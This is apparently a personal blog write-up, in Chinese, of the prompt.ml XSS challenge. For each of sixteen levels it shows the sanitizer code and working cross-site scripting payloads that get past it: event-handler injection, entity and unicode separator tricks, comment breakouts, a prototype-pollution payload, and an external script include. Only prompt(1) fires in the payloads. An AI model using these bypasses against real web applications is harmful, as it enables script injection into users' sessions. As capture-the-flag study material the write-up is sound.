web

promptXSS挑战

noob
2022-04-05 / 0 评论 / 72 阅读 / 正在检测是否收录...

自己不会,跟着其他大佬的payload做了一遍,记录下来

Less0
function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}   

无过滤,直接输出常见payload即可

"><img src=1 onerror=prompt(1)>
"><svg onload=prompt(1)>
"><body onload=prompt(1)>
等

l25iul9k.png

Less1
function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}       

又正则看出对<>进行了过滤,将内容替换为空,因此对右括号进行绕过即可

//或者<!--都行
<img src=1 onerror=prompt(1)//
<svg onload=prompt(1)//
<img src=# onerror="prompt(1)"

l25ivgo1.png

Less2
function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}      

过滤=和(
svg:使用SVG标签,会提前将将XML实体解析再加入标签

//&#40;是(的unicode编码
<svg><script>prompt&#40;1)</script>
//调用js中的eval函数
<script>eval.call`${'prompt\x281)'}`</script>
<svg><script>prompt&#x28;1)</script>
//能绕过但是不能win
<script>eval`${alert`1`}`</script>
<script>eval.call`${'alert\x281)'}`</script>
<script>alert`1`</script>

l25iwcgo.png

Less3
function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}        

注释->被替换为_,闭合后任意语句即可,右边括号不闭合也能过关

//--!>进行闭合
--!><img src=1 onerror=prompt(1)
--!><script>prompt(1)</script
--!><svg onload=prompt(1)
--!><img src=1 onerror=prompt(1)>
--!><script>prompt(1)</script>
--!><svg onload=prompt(1)>

l25ityon.png

Less4
function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}        

同源绕过应该就可以成功了,利用@,由于user不准有/,因此利用decodeURIComponent的解码,对/进行编码,
js文件内的内容是:prompt(1),即可攻击成功
l25it7hk.png

Less5
function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}        

使用替换,将>替换为_,将on和=外加他们之间的内容的替换为_,将foucs替换为_,(/gi)忽略大小写

"src=# type=image onerror
="prompt(1)

使用"闭合value,然后用type=image更改输出类型,利用换行键防止被on和=中内容替换,属性描述不在同一行并不影响解析,但是可以避免正则匹配,然后就可以弹出
l25tskoe.png

Less6
function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

需要用post形式提交一个表单,输入一个url#{post}的内容,然后过滤了script和data,利用js伪协议,尝试输入javascript:prompt#{"ttttest":1}失败,看大佬博客才知道:可以利用action进行覆盖。action有一个特性:如果前后都有action,访问action标签时访问的是后面的action的值,于是payload:

javascript:prompt(1)#{"action":1}

l25ukw5z.png

Less7
function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}        

此处限制长度,只允许12位以下的字符串输入,此处可以利用#可以分割两边为数组的特性绕过,再配合注释

"><script>/*#*/prompt(/*#*/1)/*#*/</script>
大佬版:"><svg/a=#"onload='/*#*/prompt(1)'

l25zeebn.png

Less8
function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}        

利用unicode的行分隔符和段落分隔符进行绕过

'\u2028prompt(1)\u2028-->' //放到conlose中,复制输出的内容 

l260tqye.png

Less9
function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}    

将<+字母替换为<_+字母,并且toUpperCase()都转为大写,没啥思路,大佬说ſ 转换为S,这里的ſ字符应该是某个国家的unicode字符,转换后恰好对应s,然后就写payload:<ſcript>prompt(1)</ſcript>,但是没有成功,因为js对大小写敏感(导致prompt(1)无法使用),再查,需要导入js来触发,payload:

<ſcript ſrc="https://hammerking.top/xss.js"></ſcript>

但是服务器的我没有打通,用本地打通了...
l26vdtlt.png

LessA
function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}        

将prompt替换为alert,将'替换为空,那么有没有一种可能,用单引号绕过,尝试

promp't(1)

l26vs2ul.png

LessB
function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}        

过滤了很多字符,可以利用js的特性进行绕过,使用in或者instanceof运算符进行绕过,左右"是为了闭合
大佬解释:在js中,(prompt(1))instaneof"1"和(prompt(1))in"1"是可以成功弹窗的,其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。

"(prompt(1))in"
"(prompt(1))instanceof"

l26wgog4.png

LessC
function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}        

和前面A关相反,先替换'再替换prompt,这里就没办法使用上面的绕过方式了,可以使用进制转换,再用toString转换回来的方式进行绕过,这里使用parseInt()转换时,因为最大字母为t,所以至少使用30进制(参考十六进制的生成)

//先用parseInt("prompt",30)在console中运行,得到的结果在().toString(30)中转换回来
eval((630038579).toString(30))(1)

l276v5dj.png

LessD
function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}        

js没学好,看不懂...payload先写下来,后面学到了回来解决
proto:每个对象都会在内部初始化这个属性,当访问对象的某个属性时,如果不存在这个属性,便会去proto里寻找这个属性。
可以初步构造payload:{"source":"0"," proto":{"source":"onerror=prompt(1)"}},但是并不能绕过题目的过滤,于是便要利用replace的一个特性
l27kmgyo.png

{"source":"'"," proto": {"source":"$`onerror=prompt(1)>"}}
LessE
function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}        

先全部换为大写,然后替换//+字母为data,再替换一些特殊字符为_,然后...⑧会,记下payload,学会再来

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
LessF
function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}        

不允许*出现,限定长度小于16,#会另起一行重置字数限制,和之前的#和换行符绕过差不多,但是还是有点不理解payload

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

l27m39br.png

参考链接:
[1]https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml
[2]https://www.cnblogs.com/slpawn/p/7487161.html
[3]https://lorexxar.cn/2015/07/02/xss-p/#level13
[4]https://xz.aliyun.com/t/4507#toc-16

2

评论 (0)

取消